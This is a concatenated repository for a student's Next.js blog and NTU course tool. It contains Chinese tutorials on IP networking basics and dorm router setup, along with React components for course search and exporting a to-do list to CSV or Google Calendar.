* **一台裝置依不同的連線方式可能有多個網卡**(從真實世界進入網路世界的橋可以有很多座)
* **MAC位址是有可能重複的**(台灣有這麼多座橋,也一定有幾座是有同樣名字的)
### 更進一步來解惑
**Q:** 上面不是說IP是由一串長度為32的「數字0跟1」所組成的字串,那我為什麼平常看到的IP都是xxx.xxx.xxx.xxx的樣子?
**A:** 我們可以把這串數字切成4等分,而每一等份長度都是8,而將每一等分的二進位字串用十進位數字來表達,就會變成一個0 ~ 255的數字,之後再把這4等分的數字用點連起來就變成了我們平常看到的IP的樣子。之後會提到的「子網路遮罩」、「預設閘道」等等,只要長相是xxx.xxx.xxx.xxx就也是同樣的概念。
## Ch2. 【郵局的出現】 - 區域網路的概念、子網路遮罩與預設閘道
![](https://i.imgur.com/YyJ6Xa7.jpg)
現在,我們要介紹一個新角色───郵局,沒錯,網路世界中也有郵局。
在現實世界中,我們寄信一定要透過郵局幫我們轉送信件,而一間郵局也會負責處理一個地區內的所有信件。
同時,郵局也有**階層之分**,比如說鄉鎮等級的小郵局會把要寄給外縣市的信轉交給縣市等級的大郵局;如果是要寄去國外的信,大郵局則會再轉給國家等級的總郵局,藉此轉送到其他國家。
在網路世界中,**郵局**就好比一個個的**區域網路**,同一個區域網路下的IP都由同一個的郵局管轄,而**子網路遮罩**則規定了每間**郵局管轄範圍的大小(**也就是**郵局的等級**),當遮罩長度越長,代表那間郵局的管轄範圍越小(等級越低),也就是那個區域網路下的IP數量越少。
**預設閘道**則是當這封信的收信地址不在這間郵局的管轄範圍時,要**轉送給其他郵局的管道**。
### 到這裡,先整理一下網路世界與現實世界的對應關係
|**網路世界**|**現實世界**|
|--|--|
|區域網路|郵局|
|子網路遮罩|郵局管轄範圍的大小(郵局的等級)|
|預設閘道|轉送給其他郵局的管道|
### 你也可以歸納出幾個重點
* 區域網路是有階級之分的,**階級越高,遮罩長度越短,郵局的管轄範圍越大**
* 大的郵局下面可能有小的郵局,同樣地,大的區域網路下面可能有小的區域網路
* 只要**有了IP+子網路遮罩**,你就**可以反推你在哪個區域網路之下**(只要有自己的地址與郵局的等級,你就可以知道幫自己寄信的郵局是哪間)
* 在區域網路之中,每個人的IP是**不一樣**的(門牌地址不一樣)(對比Ch4的最後一點)
### 更進一步來解惑
**Q:** 為什麼遮罩長度越長,那間郵局的管轄範圍是越小(等級越低)而不是越大啊?
**A:** 上面有提到IP是長度為32的一串數字,而被遮罩遮到的部份代表網路位址(郵局管轄的行政區),剩下沒被遮罩遮到的部份代表主機位址(也就是那個 行政區之下之下某間住戶的地址)。沒被遮罩遮到的部份長度越長,就代表那間郵局之下有更多的住戶。
## Ch3. 【門牌的取得方式】 - 浮動IP(DHCP)和固定IP
前面講到每間郵局都有自己的管轄範圍,而在管轄範圍裡,肯定常常會有新的住戶搬進來或舊的住戶搬出去。而每間郵局管轄範圍裡面的房子數量是固定的,所以**門牌的數量也是固定的**。
現在,郵局有兩種方法可以收發門牌給這些遷徙的住戶:
第一種**(屬人主義)**:現在有住戶要搬走,郵局就把他們家的**門牌回收到郵局**,之後如果有新的住戶要進來,我再從郵局的這一疊門牌拿一片給他。
第二種**(屬地主義)**:一片門牌都只對應到一間房子,他如果搬走了**郵局也不收回來**,那間房子就這樣空著,直到某個新住戶又搬進那間房子,他用的同樣那片門牌。
對應到網路上,第一種就是所謂的**浮動IP**,而負責收發這疊門牌的人就是**DHCP**。當有新的電腦要在這個區域網路連線時,這個電腦就會被DHCP分配到一個沒人用的IP,等到他**斷開連線之後,DHCP就會把這個IP回收**;第二種則是所謂的**固定IP**,當某台電腦想要連線時,它必須**把自己的IP設定到某個沒人用的IP**,才有辦法連線。
### 到這裡,先整理一下網路世界與現實世界的對應關係
|**網路世界**|**現實世界**|
|--|--|
|浮動IP|第一種方式(屬人主義)|
|固定IP|第二種方式(屬地主義)|
|DHCP|在屬人主義之下,負責收發這疊門牌的人|
### 你也可以歸納出幾個重點
* DHCP會**自動分配**一個沒人用的IP給你(郵局發送一片沒人用的門牌)
* 採用固定IP的方式的話要**自己去找沒人用的IP**來用(你要自己去找沒人住的房子來住)
* 只有固定IP才要設定**「IP位址」、「子網路遮罩」、「預設閘道」**等等的參數,因為你必須要告訴你的電腦,**自己的門牌地址是什麼、負責的郵局是哪一間、那間郵局轉送給其他郵局的管道**等等
### 更進一步來解惑
**Q:** 這樣聽起來,第一種方式顯然比較好啊,有人會主動發門牌給你欸,省的我還要一間一間房子去看有沒有人住。第二種方法的好處在哪啊?
**A:** 固定IP的好處是,你每次連上線之後,對外的IP都是一樣的,所以別人可以靠著這組IP找到你;如果你用
的是浮動IP,你的IP在每次連線就會都不一樣,別人會很難找到你。
## Ch4. 【門牌快發完了怎麼辦?】 - 路由器上的外網(WAN)與內網(LAN)
![](https://i.imgur.com/LhDczFP.jpg)
Ch1中說到,**IP就是網路虛擬世界中的房屋住址**,所以假設全球70億人每人都有一棟房子,那就要有70億張獨一無二的門牌號碼。這在現實生活中也許可行,但在虛擬世界中,門牌號碼(IP)是有長度限制的(長度為32),這導致**門牌(IP)的總數量是有限的**(只有「2的32次方」個,Ch1有提到過)。
在網路日益發達之下,門牌(IP)已經快被發完了,於是有人想出了一個解決辦法:一整個社區只有一個門牌號碼,而自己社區裡面的人則用社區內部的代號來識別彼此。如果想跟**自己社區內**其他人溝通,可以透過**社區內部的代號**來找到他;如果想跟**其他社區**的人溝通,就**只能寫信到他的社區**,至於他住在那個社區的哪一戶,你也無從知道,畢竟你沒有他們社區內部的住戶名單,也不可能叫社區警衛把信拆開來看後再決定這封信要給誰吧?信裡可能有一些個人隱私啊。
看到這裡,可能有些人會有疑問:那我就想要寄給裡面的某個人,阿這樣信要怎麼交到他手上???這個問題的確棘手,但我們先留到後面的章節再來解決。
總而言之,至少現在這樣,地址就可以少一些,也就可以減緩門牌匱乏的危機;對比到網路世界,**外網(WAN)**就是所謂**「自己社區以外的世界」**,**內網(LAN)**就是**「自己社區以內的世界」**,而**路由器**就像是**社區警衛**,負責處理那些寄來寄去的信件,**(外網)IP**就是所謂的**社區門牌地址**,而**內網IP**則是**社區內部**用來區分不同人而給每個人的**代號**。
**備註:原本所稱的IP(門牌地址)在這裡被改稱為外網IP(同樣是門牌地址),這是為了與內網IP(社區內部代號)做出區別。**
### 到這裡,先整理一下網路世界與現實世界的對應關係
|**網路世界**|**現實世界**|
|--|--|
|外網(WAN)|自己社區以外的世界|
|內網(LAN)|自己社區以內的世界|
|路由器|社區警衛|
|(外網)IP|社區門牌|
|內網IP|社區內部代號|
### 你也可以歸納出幾個重點
* 內網是為了**解決IP不夠用**的補救辦法
* 信上面**只有寫社區住址**,至於要怎麼往下分送到指定的人手上我們無從知道
* **社區內部的人則用社區自己的代號來識別彼此**
* **社區與社區之間用門牌來識別彼此**
* 在內網中,每個人的外網IP是**一樣**的(門牌地址一樣)(對比Ch2的最後一點)
### 更進一步來解惑
**Q:** **內網與外網**(Ch4)的關係為什麼聽起來這麼像**區域網路與區域外網路的關係**(Ch2)啊?他們之間有什麼差別?
**A:** 內網的所有電腦都是用同一個IP,而區域網路內的電腦是用不同的IP
<!--## DNS (待補充)
## VPN (待補充)
## 上面的東西沒搞懂?沒關係,我們來做幾題練習題 (待補充)
Q1. 台大宿網需要使用固定IP與MAC位址,註冊的MAC位址可以在台大宿網註冊系統裡面修改,但台大宿網註冊系統的網站必須在台大校園網路內才能打開-->
## 附錄 你可以在這找到與台大網路有關的資訊
[台大宿舍網路註冊系統(需於台大校園網路內開啟)](https://dorm.ntu.edu.tw/)
[台大宿舍 超過限制流量與流量異常清單(需於台大校園網路內開啟)](https://dorm.ntu.edu.tw/block.php?personal=no)
[網路基本名詞介紹](https://www.itread01.com/content/1542099547.html)
[台大宿舍網路常見問題](http://172.16.58.3/NTU/DORM/dorm_qa.htm)
[台大宿舍網路使用說明](https://hackmd.io/@AdXSbob-RhG3gBR4lnaNIw/ryEZjbK4Z?type=view)
[台大宿舍網路路由器安裝詳解](https://ut0903.github.io/router-install/)
[台大校園無線網路連線設定(**NTUpeap**)](https://ccnet.ntu.edu.tw/wireless2/wireless.html)
[台大VPN服務](https://ccnet.ntu.edu.tw/vpn/) <file_sep>/out/posts/first-post.md
title: Blog建立歷程紀錄
date: 2020-09-20
img: first-post/main.jpg
description: 紀錄這個blog的建立過程與參考資料等等
tags: 網站
+-+-+-+-
# 建立動機
當初看到高中同學用一些簡單的github工具就可以建成一個不錯看的blog,於是先嘗試建了一個高中社團的網站,有初步概念後才開始經營這個網站
# 你所需要查詢的資料
## 基礎
### 如何使用Github指令建立jekyll網站
此篇參考那位高中同學的建立方式,他講的滿詳細的
Ref: [https://poi0905.github.io/blog/githubpages-tutorial/](https://poi0905.github.io/blog/githubpages-tutorial/)
### jekyll網站架構理解
Ref: [https://jekyllrb.com/docs/step-by-step/01-setup/](https://jekyllrb.com/docs/step-by-step/01-setup/ "Jekyll Step by Step Tutorial")
### Karmdown語法快速導覽
Blog中日誌使用Karmdown的語法來渲染
Ref: [https://kramdown.gettalong.org/quickref.html](https://kramdown.gettalong.org/quickref.html)
### Blog留言區(Disqus)註冊與設定
Ref: [https://disqus.com/](https://disqus.com/)
## 進階
### Html, Css, Javascript認識
讓你可以更自由地修改網站樣式
### 網站轉址服務
Ref: [https://js.org/](https://js.org/)
### 認識DNS
Ref: [http://linux.vbird.org/linux_server/0350dns.php](http://linux.vbird.org/linux_server/0350dns.php)
<file_sep>/components/todolist/functions/ExportCsv.js
import { noDataWarning, exportSuccess, emptyWarning } from "./HintModal";
import {Button} from 'antd'
const MakeCsv = (data) => {
let csvData = "Subject,Description,Start date,Start Time,End Time\n";
for (let i = 0; i < data.length; i++) {
const row = data[i];
if (row.due === "" || row.hw === "" || row.course === "") return "";
let newCsvData = row.hw + "," + row.course + ",";
const tok = row.due.split(" ");
const tokDate = tok[0].split("/"); // yyyy/mm/dd
const tokTime = tok[1].split(":"); // hh:mm:ss
newCsvData += tokDate[1] + "/" + tokDate[2] + "/" + tokDate[0] + ","; // mm/dd/yyyy
const time =
tokTime[0] > 12
? tokTime[0] - 12 + ":" + tokTime[1] + " PM"
: tokTime[0] + ":" + tokTime[1] + " AM";
newCsvData += time + "," + time + "\n";
csvData += newCsvData;
}
return csvData;
};
const ExportCsv = ({selectedRowKeys, tableData})=>{
const onClick = ()=>{
if (selectedRowKeys.length === 0) {
noDataWarning();
return;
}
const selectedData = tableData.filter((row) =>
selectedRowKeys.includes(row.key)
);
const csvData = MakeCsv(selectedData);
if (csvData) {
exportSuccess();
const blob = new Blob(["\uFEFF" + csvData], {
type: "text/csv;charset=gb2312;",
});
const a = document.createElement("a");
a.download = "todo.csv";
a.href = URL.createObjectURL(blob);
a.click();
} else {
emptyWarning();
}
}
return (
<Button type="primary" htmlType="button" onClick={onClick}>
Export to CSV
</Button>
)
}
export default ExportCsv<file_sep>/contexts/AuthContext.js
import { useEffect, useState } from "react";
import { createContext } from "react";
const AuthContext = createContext({
userInfo: null,
setUserInfo:()=>{},
modalShow: false,
setModalShow: () => {},
});
export const AuthContextProvider = ({ children }) => {
const [modalShow, setModalShow] = useState(false);
const [userInfo, setUserInfo] = useState(null)
useEffect(()=>{
const s = sessionStorage.getItem("UserInfoJWT")
console.log('s', s)
if(!s){
setUserInfo(s)
}
}, [])
useEffect(()=>{
sessionStorage.setItem("UserInfoJWT", userInfo)
}, [userInfo])
const context = { userInfo, setUserInfo, modalShow, setModalShow };
return (
<AuthContext.Provider value={context}>{children}</AuthContext.Provider>
);
};
export default AuthContext;<file_sep>/utils/RetrievePost.js
const baseUrl = "public/posts"
const del = '+-+-+-+-'
const getPostContent = (pname)=>{
const fs = require('fs');
const str = fs.readFileSync(baseUrl + '/' + pname, 'utf8');
return str.substring(str.indexOf(del) + del.length)
}
const getPostMeta = (pname)=>{
const fs = require('fs');
const str = fs.readFileSync(baseUrl + '/' + pname, 'utf8');
const meta_raw = str.substring(0, str.indexOf(del))
const meta = meta_raw.split("\n").filter((item)=>(item !== '')).map((item)=> {
const obj = {}
//console.log("+"+ item.substr(0,item.indexOf(':')).trim()+ "+", "-" + item.substr(item.indexOf(':')+1).trim() + "-")
const key = item.substr(0,item.indexOf(':')).trim()
if(key === 'tags'){
const val = item.substr(item.indexOf(':')+1)
//console.log('val', val)
obj[key] = (val.split(',')).map((a)=>(a.trim()))
//console.log(obj[key])
}
else{
obj[key] = item.substr(item.indexOf(':')+1).trim()
}
return obj
})
meta.push({'url': 'post/' + pname.replace('.md', '')})
return meta.reduce((a, b)=> ({...a, ...b}))
}
const getPostsName = () =>{
const fs = require('fs');
//console.log(fs)
return fs.readdirSync(baseUrl)
}
export {getPostContent, getPostsName, getPostMeta}<file_sep>/components/search/functions/SearchByDepartment.js
import { Form, TreeSelect } from "antd";
import { useState } from "react";
const treeData = [
{
title: "Node1",
value: "0-0",
key: "0-0",
children: [
{
title: "Child Node1",
value: "0-0-0",
key: "0-0-0",
},
],
},
{
title: "Node2",
value: "0-1",
key: "0-1",
children: [
{
title: "Child Node3",
value: "0-1-0",
key: "0-1-0",
},
{
title: "Child Node4",
value: "0-1-1",
key: "0-1-1",
},
{
title: "Child Node5",
value: "0-1-2",
key: "0-1-2",
},
],
},
];
const { SHOW_PARENT } = TreeSelect;
const SearchByDepartment = () => {
const [value, setValue] = useState(["0-0-0"]);
console.log("value", value);
return (
<Form.Item label="選擇系所" style={{width:"100%"}}>
<TreeSelect
treeData={treeData}
value={value}
onChange={(value) => {
setValue(value);
}}
treeCheckable={true}
showCheckedStrategy={SHOW_PARENT}
placeholder="Please select"
style={{ width: "100%" }}
/>
</Form.Item>
);
};
export default SearchByDepartment;
<file_sep>/components/todolist/functions/HintModal.js
import {Modal} from 'antd'
const emptyWarning = () => {
Modal.warning({
title: "錯誤",
content: "請檢查是否有欄位為空",
});
};
const noDataWarning = () => {
Modal.warning({
title: "錯誤",
content: "請選擇欲處理的資料",
});
};
const exportSuccess = () => {
Modal.success({
title: "匯出成功",
content: "可至 google 日曆匯入此檔案",
});
};
const insertSuccess = () => {
Modal.success({
title: "已成功匯入至google 日曆",
});
};
export {emptyWarning, noDataWarning, exportSuccess, insertSuccess}
<file_sep>/components/search/SelectedTable.js
/* eslint-disable react/display-name */
import React, { useState } from "react";
import "antd/dist/antd.css";
import { MinusSquareOutlined } from "@ant-design/icons";
import { Table, Space } from "antd";
const same = (r1, r2) => {
if (r1.semester === r2.semester && r1.id === r2.id) return true;
return false;
};
const SelectedTable = ({ selected, setSelected }) => {
const columns = [
{
title: "年份",
dataIndex: "semester",
key: "semester",
},
{
title: "課程名稱",
dataIndex: "class_name",
key: "class_name",
},
{
title: "授課教師",
key: "teacher_name",
dataIndex: "teacher_name",
},
{
title: "",
key: "delete",
width: "4%",
render: (record) => (
<Space size="middle">
<MinusSquareOutlined
onClick={() => {
const newSelected = selected.filter(
(data) => !same(data, record)
);
setSelected(newSelected);
}}
style={{ color: "#08c" }}
/>
</Space>
),
},
];
return (
<>
<div className="Search-table">
<Table
columns={columns}
dataSource={selected}
bordered
pagination={false}
size="small"
/>
</div>
</>
);
};
export default SelectedTable;
<file_sep>/components/Sidebar.js
// import * as React from 'react';
// import PropTypes from 'prop-types';
// import Grid from '@material-ui/core/Grid';
// //import Stack from '@material-ui/core/Stack';
// import Paper from '@material-ui/core/Paper';
// import Typography from '@material-ui/core/Typography';
// import Link from '@material-ui/core/Link';
// import GitHubIcon from '@material-ui/icons/GitHub';
// import FacebookIcon from '@material-ui/icons/Facebook';
// import InstagramIcon from '@material-ui/icons/Instagram';
// import {sidebar} from '../components/Attributes'
// const social = [
// { name: 'GitHub', icon: GitHubIcon, href: 'https://github.com/UT0903' },
// { name: 'Twitter', icon: InstagramIcon, href: '#' },
// { name: 'Facebook', icon: FacebookIcon, href: 'https://www.facebook.com/profile.php?id=100000599048771' },
// ];
// function Sidebar() {
// const { archives, description, title } = sidebar;
// return (
// <>
// <Paper elevation={0} sx={{ p: 2, bgcolor: 'grey.200' }}>
// <Typography variant="h6" gutterBottom>
// {title}
// </Typography>
// <Typography>{description}</Typography>
// </Paper>
// <Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
// Archives
// </Typography>
// {archives?.map((archive) => (
// <Link display="block" variant="body1" href={archive.url} key={archive.title}>
// {archive.title}
// </Link>
// ))}
// <Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
// Social
// </Typography>
// {social.map((network) => (
// <Link
// display="block"
// variant="body1"
// href={network.href}
// key={network.name}
// sx={{ mb: 0.5 }}
// >
// <network.icon />
// <span>{network.name}</span>
// </Link>
// ))}
// </>
// );
// }
// // Sidebar.propTypes = {
// // archives: PropTypes.arrayOf(
// // PropTypes.shape({
// // title: PropTypes.string.isRequired,
// // url: PropTypes.string.isRequired,
// // }),
// // ).isRequired,
// // description: PropTypes.string.isRequired,
// // social: PropTypes.arrayOf(
// // PropTypes.shape({
// // icon: PropTypes.elementType.isRequired,
// // name: PropTypes.string.isRequired,
// // }),
// // ).isRequired,
// // title: PropTypes.string.isRequired,
// // };
// export default Sidebar;
<file_sep>/components/todolist/functions/ExportCalendar.js
//import { utilGoogle } from "./util";
import { noDataWarning, insertSuccess, emptyWarning } from "./HintModal";
import {Button} from 'antd'
const insertToCalendar = (data, success) => {
const events = [];
for (let i = 0; i < data.length; i++) {
const row = data[i];
let event = {};
if (row.due === "" || row.hw === "" || row.course === "") return false;
event.summary = row.hw;
event.description = row.course;
const tok = row.due.split(" ");
const tokDate = tok[0].split("/"); // yyyy/mm/dd
event.start = {
dateTime: tokDate.join("-") + "T" + tok[1] + ":00+08:00", // Taiwan time zone
};
event.end = {
dateTime: tokDate.join("-") + "T" + tok[1] + ":00+08:00", // Taiwan time zone
};
events.push(event);
}
//const { login } = utilGoogle();
//login(events, success, () => {});
return true;
};
const ExportCalendar = ({selectedRowKeys, tableData})=>{
const onClick = () =>{
if (selectedRowKeys.length === 0) {
noDataWarning();
return;
}
const selectedData = tableData.filter((row) =>
selectedRowKeys.includes(row.key)
);
const res = insertToCalendar(selectedData, insertSuccess);
if (!res) emptyWarning();
}
return (
<Button type="primary" htmlType="button" onClick={onClick}>
Export to Calendar
</Button>
)
}
export default ExportCalendar<file_sep>/pages/search.js
import { useEffect, useState, useContext } from "react";
// import axios from "axios";
import "antd/dist/antd.css";
import SearchTable from "../components/search/NewSearchTable";
//import SelectedTable from "../components/search/SelectedTable";
import SearchForm from "../components/search/SearchForm";
import { Modal, message, Button } from "antd";
//import { CONCAT_SERVER_URL } from "../utils";
import { useQuery } from "react-query";
import { useRouter } from "next/router";
import Header from "../components/Header";
import AuthContext from "../contexts/AuthContext";
import axio from "../contexts/axios";
const MAX_TABLE_NUM = 10;
const BASEROWNUM = 50;
const SearchCourse = () => {
const { userInfo } = useContext(AuthContext);
const [searchKey, setSearchKey] = useState(null);
// const { data = { courses: [] }, refetch } = useQuery(
// "getCourses",
// async () => {
// return await axio.post("/api/getCourseNum", {
// searchKey,
// startIdx,
// endIdx,
// });
// }
// // {
// // onSuccess: (data) => {
// // setTotal(data.total);
// // },
// // }
// );
const onSearch = async(sk)=>{
setSearchKey(sk)
const {res, err} = await axio.post("/api/getCourseNum", {
searchKey:sk,
startIdx:0,
rowNum:BASEROWNUM
});
}
const [rowItems, setRowItems] = useState([
{
_id: "60ccc97a70861ee41d99e799",
id: "97008",
class_name: "土風舞",
class_id: "00250260",
class_num: "H9",
semester: "109-2",
reg_student_num: "199",
study_student_num: "52",
credit: "1.0",
teacher_name: "魏豐閔",
reg_method: "2",
limit_student_num: "44",
},
{
_id: "60ccc97a70861ee41d99e79a",
id: "97009",
class_name: "標準舞",
class_id: "00250310",
class_num: "J3",
semester: "109-2",
reg_student_num: "269",
study_student_num: "57",
credit: "1.0",
teacher_name: "王學富",
reg_method: "2",
limit_student_num: "48",
},
]);
const loadMore = () => {
// simulate a request
return fetch("/api/getCourse")
.then((res) => {
return res.json();
})
.then((result) => {
console.log("fetch", result);
setRowItems(rowItems.concat(result.courses));
});
};
const onRowClick = (e) => {
console.log(e);
}
const onRowRightClick = (e) => {
console.log(e);
}
// const displayStatus = (payload) => {
// if (payload.msg) {
// const { type, msg } = payload;
// const content = { content: msg, duration: 1.5 };
// switch (type) {
// case "success":
// message.success(content);
// break;
// case "error":
// default:
// message.error(content);
// break;
// }
// }
// };
if (!userInfo) return <h1>Please Login First</h1>;
return (
<>
<SearchForm onSearch={onSearch}/>
<SearchTable rowCount={100000} rowItems={rowItems} setRowItems={setRowItems} loadMore={loadMore} onRowClick={onRowClick} onRowRightClick={onRowRightClick}/>
</>
);
};
export default SearchCourse;
<file_sep>/pages/api/getCourse.js
export default async function handler(req, res) {
const packet = {
courses: [
{
_id: "60ccc97a70861ee41d99e799",
id: "97008",
class_name: "土風舞",
class_id: "00250260",
class_num: "H9",
semester: "109-2",
reg_student_num: "199",
study_student_num: "52",
credit: "1.0",
teacher_name: "魏豐閔",
reg_method: "2",
limit_student_num: "44",
},
{
_id: "60ccc97a70861ee41d99e79a",
id: "97009",
class_name: "標準舞",
class_id: "00250310",
class_num: "J3",
semester: "109-2",
reg_student_num: "269",
study_student_num: "57",
credit: "1.0",
teacher_name: "王學富",
reg_method: "2",
limit_student_num: "48",
},
{
_id: "60ccc97a70861ee41d99e79b",
id: "97010",
class_name: "標準舞",
class_id: "00250310",
class_num: "J4",
semester: "109-2",
reg_student_num: "255",
study_student_num: "40",
credit: "1.0",
teacher_name: "王學富",
reg_method: "2",
limit_student_num: "48",
},
{
_id: "60ccc97a70861ee41d99e79c",
id: "97011",
class_name: "太極劍",
class_id: "00250370",
class_num: "23",
semester: "109-2",
reg_student_num: "369",
study_student_num: "52",
credit: "1.0",
teacher_name: "游添燈",
reg_method: "2",
limit_student_num: "50",
},
{
_id: "60ccc97a70861ee41d99e79d",
id: "97004",
class_name: "體適能(一)",
class_id: "00250020",
class_num: "P3",
semester: "109-2",
reg_student_num: "110",
study_student_num: "42",
credit: "1.0",
teacher_name: "王翊澤",
reg_method: "2",
limit_student_num: "40",
},
{
_id: "60ccc97a70861ee41d99e79e",
id: "9701300250390002503900025039000250390002503900025039000250390002503900025039000250390",
class_name: "太極拳初級",
class_id: "00250390",
class_num: "20",
semester: "109-2",
reg_student_num: "492",
study_student_num: "57",
credit: "1.0",
teacher_name: "游添燈",
reg_method: "2",
limit_student_num: "50",
},
{
_id: "60ccc97a70861ee41d99e79f",
id: "97012",
class_name: "太極拳初級",
class_id: "00250390",
class_num: "19",
semester: "109-2",
reg_student_num: "453",
study_student_num: "57",
credit: "1.0",
teacher_name: "游添燈",
reg_method: "2",
limit_student_num: "50",
},
{
_id: "60ccc97a70861ee41d99e7a0",
id: "97014",
class_name: "太極拳初級太極拳初級太極拳初級太極拳初級太極拳初級",
class_id: "00250390",
class_num: "21",
semester: "109-2",
reg_student_num: "427",
study_student_num: "49",
credit: "1.0",
teacher_name: "游添燈",
reg_method: "2",
limit_student_num: "50",
},
{
_id: "60ccc97a70861ee41d99e7a1",
id: "970151",
class_name: "太極拳初級",
class_id: "00250390",
class_num: "F9",
semester: "109-2",
reg_student_num: "389",
study_student_num: "61",
credit: "1.0",
teacher_name: "施登堯",
reg_method: "2",
limit_student_num: "50",
},
{
_id: "60ccc97a70861ee41d99e7a2",
id: "97016",
class_name: "太極拳中級",
class_id: "00250400",
class_num: "22",
semester: "109-2",
reg_student_num: "54",
study_student_num: "25",
credit: "1.0",
teacher_name: "游添燈",
reg_method: "2",
limit_student_num: "50",
},
],
total: 104564,
};
res.status(200).send(packet);
}
<file_sep>/pages/_app.js
import "../styles/App.css";
import { QueryClientProvider, QueryClient } from "react-query";
import Header from "../components/Header";
import { AuthContextProvider } from "../contexts/AuthContext";
import Footer from "../components/Footer";
import { useState, useEffect } from "react";
import "bootstrap/dist/css/bootstrap.css";
import 'react-virtualized/styles.css';
import '../styles/SearchTable.css'
import "antd/dist/antd.css";
const queryClient = new QueryClient();
function MyApp({ Component, pageProps, navigation }) {
//console.log(navigation);
useEffect(() => {
document.title = "台大課程小工具 | UT's blog";
}, []);
return (
<>
<AuthContextProvider navigation={navigation}>
<Header />
<QueryClientProvider client={queryClient}>
<Component {...pageProps} />
</QueryClientProvider>
</AuthContextProvider>
</>
);
}
export default MyApp;
<file_sep>/components/todolist/util.js
import { useEffect } from "react";
import { gapi } from "gapi-script";
const utilGoogle = () => {
const CLIENT_ID =
"863727614400-ncmg6aoq5qkmme3nr5as964d7kon77iu.apps.googleusercontent.com";
const API_KEY = "<KEY>";
const SCOPE = "https://www.googleapis.com/auth/calendar";
const login = (events, successCallback, failedCallback) => {
const authParams = {
response_type: "permission", // Retrieves an access token only
client_id: CLIENT_ID, // Client ID from Cloud Console
immediate: false, // For the demo, force the auth window every time
scope: [
"profile",
"https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events",
], // Array of scopes
};
gapi.load("client:auth2", () => {
gapi.auth2.init({ client_id: CLIENT_ID });
gapi.auth.authorize(authParams, (res) => {
gapi.client.setApiKey(API_KEY);
gapi.client
.load(
"https://content.googleapis.com/discovery/v1/apis/calendar/v3/rest"
)
.then(
() => {
const batch = gapi.client.newBatch();
events.map((r, j) => {
batch.add(
gapi.client.calendar.events.insert({
calendarId: "primary",
resource: events[j],
})
);
});
batch.then(() => {
console.log("all jobs now dynamically done!!!");
successCallback();
});
},
(err) => {
console.log("auth failed", err);
failedCallback();
}
);
});
});
};
return { login };
};
export { utilGoogle };
<file_sep>/components/Header.js
import * as React from "react";
import {
Toolbar,
Button,
IconButton,
Typography,
Grid,
} from "@material-ui/core";
import MyLink from "../components/MyLink";
import { useRouter } from "next/router";
import AuthContext from "../contexts/AuthContext";
import { useContext, useState, useEffect } from "react";
import LoginForm from "../components/login/LoginForm";
import HomeRoundedIcon from "@material-ui/icons/HomeRounded";
export default function Header() {
const { setModalShow, userInfo, setUserInfo } = useContext(AuthContext);
const siteTitle = "UT的部落格 | UT's Blog";
return (
<React.Fragment >
<Toolbar
style={{
justifyContent: "center",
borderBottom: "1px solid",
borderColor: "rgba(200, 200, 200, 100)",
position: "sticky",
top: 0,
background: "rgba(240, 240, 240, 255)",
zIndex: 1000,
}}
>
<MyLink
// display="block"
// variant="body1"
href={"."}
// key={network.name}
// sx={{ mb: 0.5 }}
>
<HomeRoundedIcon fontSize="large" />
{/* <span>{network.name}</span> */}
</MyLink>
<Typography
variant="h5"
color="inherit"
align="center"
noWrap
style={{ flex: 1 }}
>
{siteTitle}
</Typography>
{!userInfo? (
<>
<Typography
style={{
fontSize: "13px",
backgroundColor: "rgba(0, 0, 0, 0)",
marginRight: "10px",
color: "red",
}}
gutterBottom
>
尚未登入
</Typography>
<Button
size="small"
style={{ border: "2px solid", color: "blue" }}
onClick={() => {
setModalShow(true);
}}
>
登入
</Button>
</>
) : (
<>
<Typography
style={{
fontSize: "13px",
backgroundColor: "rgba(0, 0, 0, 0)",
marginRight: "10px",
}}
gutterBottom
>
{userInfo.acc} 已登入
</Typography>
<Button
size="small"
style={{ border: "2px solid", color: "green" }}
onClick={() => {
setUserInfo(null)
}}
>
登出
</Button>
</>
)}
</Toolbar>
{/* <Toolbar
component="nav"
variant="dense"
style={{ justifyContent: 'space-around', flexWrap:"wrap" }}
>
{sections.map((section) => (
<MyLink
href={section.url}
key={section.title}
color='textPrimary'
style={{fontSize:"15px", flexShrink:"0"}}
xs={12}
md={2}
>
{section.title}
</MyLink>
))}
</Toolbar> */}
<LoginForm />
</React.Fragment>
);
}
<file_sep>/public/posts/router-install.md
title: 台大宿舍網路路由器零基礎安裝詳解(全圖解)
date: 2020-09-22
img: router-install/main.jpeg
description: 這篇文章手把手教你怎麼在宿舍裝上自己的無線Wifi
tags: 台大, 網管
+-+-+-+-
## 前言
不想每次回宿舍上網都要插插拔拔網路線怎麼辦?手機沒有吃到飽,在宿舍也想要跟電腦一起用宿網網路怎麼辦?這篇文章可能可以幫助到你!
## ※所需工具
一台路由器(本篇使用tp-link-WR840N a.k.a網路上最便宜的路由器做示範)、一條網路線(通常隨著購買路由器會附送一條)
## 1. 進入台大宿網管理系統平台 / 在台大宿網管理系統平台註冊
### 1-0. 確認電腦用正確的方式連上台大校園網路
* 方法1: 直接用網路線連至宿舍網路孔(記得要聽到「喀」一聲才有插緊)
Mac或沒有網路孔的電腦可以選擇用「網路孔轉USB的轉接頭」,或是使用其他方法
* 方法2: 將路由器連至宿舍網路孔,再將電腦用無線的方式連線到路由器
透過路由器連到網路孔一樣是連到台大內網
* 方法3: 將電腦連線至台大校園網路(NTU, ntupeap等等)
* 方法4: 使用台大VPN連線
[台大VPN安裝及使用說明](https://ccnet.ntu.edu.tw/vpn/)
### 1-1. 在網址列輸入172.16.17.32
### 1-2. 點選「宿舍網路註冊系統」
![](https://i.imgur.com/qYmvkmd.jpg)
### 1-3. 確認有出現紅色區域且網段欄為目前所住的宿舍,上方基本資料的部分沒有亂碼,新生或換宿生記得要在此頁面註冊或更新資料
![](https://i.imgur.com/7R6zdC1.png)
## 2. 路由器設定
(此部份依各家廠牌不同,可能需要輸入不同網址與輸入不同的預設帳密,請參考該廠牌說明書)
### 2-1. 將網路線連結於路由器上的WAN孔與宿舍網路孔之間,並將路由器接上電源
### 2-2. 用電腦連wifi到路由器,在電腦網址欄輸入「192.168.0.1」進入路由器管理頁面,輸入帳號和密碼(預設為帳號:admin 密碼:admin)
### 2-3. 點擊網路設定>網際網路(WAN)
### 2-4. 修改紅框3中內容
#### 2-4-1. 連線類型:改成固定IP
#### 2-4-2. IP位址:改成宿網註冊平台中的註冊IP(不是登入IP,不是登入IP,不是登入IP,很重要所以說三次)
#### 2-4-3. 子網路遮罩:輸入「255.255.255.0」。如果他要你輸入遮罩長度,請輸入「24」
